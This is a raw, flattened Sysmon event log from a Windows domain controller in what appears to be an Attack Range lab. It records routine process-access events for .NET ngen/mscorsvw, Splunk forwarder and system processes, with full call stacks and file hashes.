14:45:20.351{7BD73061-6F29-613B-3508-00000000F001}70326280C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe{7BD73061-6F80-613B-530A-00000000F001}1640C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+3965|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+aafe|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a457|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a19d|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a055|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+77c6|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+2d26|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+9828|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+74ce|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+7395|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+2bd9|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+8c07|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+2130|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+1f0f|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+29e1|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+2969|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000045328Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:20.321{7BD73061-65B2-613B-0C00-00000000F001}8364488C:\Windows\system32\svchost.exe{7BD73061-6F80-613B-520A-00000000F001}6672C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+5126|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000045327Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:20.301{7BD73061-65AF-613B-0500-00000000F001}412672C:\Windows\system32\csrss.exe{7BD73061-6F80-613B-520A-00000000F001}6672C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000045326Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:20.301{7BD73061-6F29-613B-3508-00000000F001}70326280C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe{7BD73061-6F80-613B-520A-00000000F001}6672C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+3965|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+aafe|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a457|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a19d|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a055|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+77c6|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+2d26|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+9828|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+74ce|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+7395|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+2bd9|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+8c07|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+2130|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+1f0f|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+29e1|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+2969|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000045325Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:20.281{7BD73061-6F7F-613B-4D0A-00000000F001}33884264C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe{7BD73061-664E-613B-B000-00000000F001}4184C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe0x101400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe+55e675|C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe+55e1a6|C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe+6b453|C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe+8e8530|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000045324Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:20.251{7BD73061-65B2-613B-0C00-00000000F001}8364488C:\Windows\system32\svchost.exe{7BD73061-6F80-613B-510A-00000000F001}6764C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+5126|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000045323Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:20.241{7BD73061-65AF-613B-0500-00000000F001}412672C:\Windows\system32\csrss.exe{7BD73061-6F80-613B-510A-00000000F001}6764C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000045322Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:20.241{7BD73061-6F29-613B-3508-00000000F001}70326280C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe{7BD73061-6F80-613B-510A-00000000F001}6764C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+3965|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+aafe|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a457|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a19d|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a055|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+77c6|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+2d26|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+9828|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+74ce|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+7395|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+2bd9|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+8c07|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+2130|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+1f0f|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+29e1|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+2969|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000045321Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:20.151{7BD73061-65B2-613B-0C00-00000000F001}8364488C:\Windows\system32\svchost.exe{7BD73061-6F80-613B-500A-00000000F001}2344C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+5126|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000045320Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:20.131{7BD73061-65AF-613B-0500-00000000F001}412500C:\Windows\system32\csrss.exe{7BD73061-6F80-613B-500A-00000000F001}2344C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000045319Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:20.131{7BD73061-6F29-613B-3508-00000000F001}70326280C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe{7BD73061-6F80-613B-500A-00000000F001}2344C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+3965|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+aafe|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a457|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a19d|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a055|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+77c6|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+2d26|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+9828|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+74ce|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+7395|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+2bd9|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+8c07|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+2130|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+1f0f|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+29e1|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+2969|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000045318Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:20.101{7BD73061-664F-613B-B400-00000000F001}36484280C:\Windows\system32\conhost.exe{7BD73061-6F7F-613B-4D0A-00000000F001}3388C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\SYSTEM32\ConhostV2.dll+5ca7|C:\Windows\SYSTEM32\ConhostV2.dll+774b|C:\Windows\SYSTEM32\ConhostV2.dll+a8ef|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000045317Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:20.101{7BD73061-65B2-613B-0C00-00000000F001}8364488C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+fd18|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000045316Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:20.101{7BD73061-65B2-613B-0C00-00000000F001}8364488C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000045315Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:20.101{7BD73061-65B2-613B-0C00-00000000F001}8364488C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000045314Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:20.101{7BD73061-65B2-613B-0C00-00000000F001}8364488C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000045313Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:20.101{7BD73061-65AF-613B-0500-00000000F001}412428C:\Windows\system32\csrss.exe{7BD73061-6F7F-613B-4D0A-00000000F001}3388C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000045312Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:20.101{7BD73061-664E-613B-B000-00000000F001}41843260C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe{7BD73061-6F7F-613B-4D0A-00000000F001}3388C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+ce6a3b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17cade|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18641d|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17ef16|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c992c4|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18689b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+189d3c|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c95f5f|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c99fad|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+184c5b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c7dd7e|C:\Windows\System32\ucrtbase.dll+1fb80|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 154100x800000000000000045311Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:19.931{7BD73061-6F7F-613B-4D0A-00000000F001}3388C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe-----"C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe"C:\Windows\system32\NT AUTHORITY\SYSTEM{7BD73061-65B0-613B-E703-000000000000}0x3e70SystemMD5=030CC9FD3784684043D9236FF16904DE,SHA256=6C84A212BD1EA1FCC493E9F8ED1C1507E2773F6FE71ACDE265067F3153BE6241,IMPHASH=45491F0E80AC016364EB8FB78BD23A1C{7BD73061-664E-613B-B000-00000000F001}4184C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe" service 10341000x800000000000000045310Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:20.070{7BD73061-65B2-613B-0C00-00000000F001}8364488C:\Windows\system32\svchost.exe{7BD73061-6F80-613B-4F0A-00000000F001}6352C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+5126|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000045309Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:20.050{7BD73061-65AF-613B-0500-00000000F001}412500C:\Windows\system32\csrss.exe{7BD73061-6F80-613B-4F0A-00000000F001}6352C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000045308Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:20.050{7BD73061-6F29-613B-3508-00000000F001}70326280C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe{7BD73061-6F80-613B-4F0A-00000000F001}6352C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+3965|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+aafe|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a457|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a19d|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a055|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+77c6|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+2d26|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+9828|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+74ce|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+7395|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+2bd9|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+8c07|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+2130|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+1f0f|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+29e1|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+2969|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000045409Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:21.913{7BD73061-65B2-613B-0C00-00000000F001}8364488C:\Windows\system32\svchost.exe{7BD73061-6F81-613B-670A-00000000F001}5176C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+5126|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000045408Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:21.893{7BD73061-65AF-613B-0500-00000000F001}412672C:\Windows\system32\csrss.exe{7BD73061-6F81-613B-670A-00000000F001}5176C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000045407Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:21.893{7BD73061-6F29-613B-3508-00000000F001}70326280C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe{7BD73061-6F81-613B-670A-00000000F001}5176C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x103801C:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+3965|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+aafe|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a457|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a19d|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a055|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+77c6|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+2d26|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+9828|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+74ce|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+7395|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+2bd9|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+8c07|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+2130|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+1f0f|C:\Windo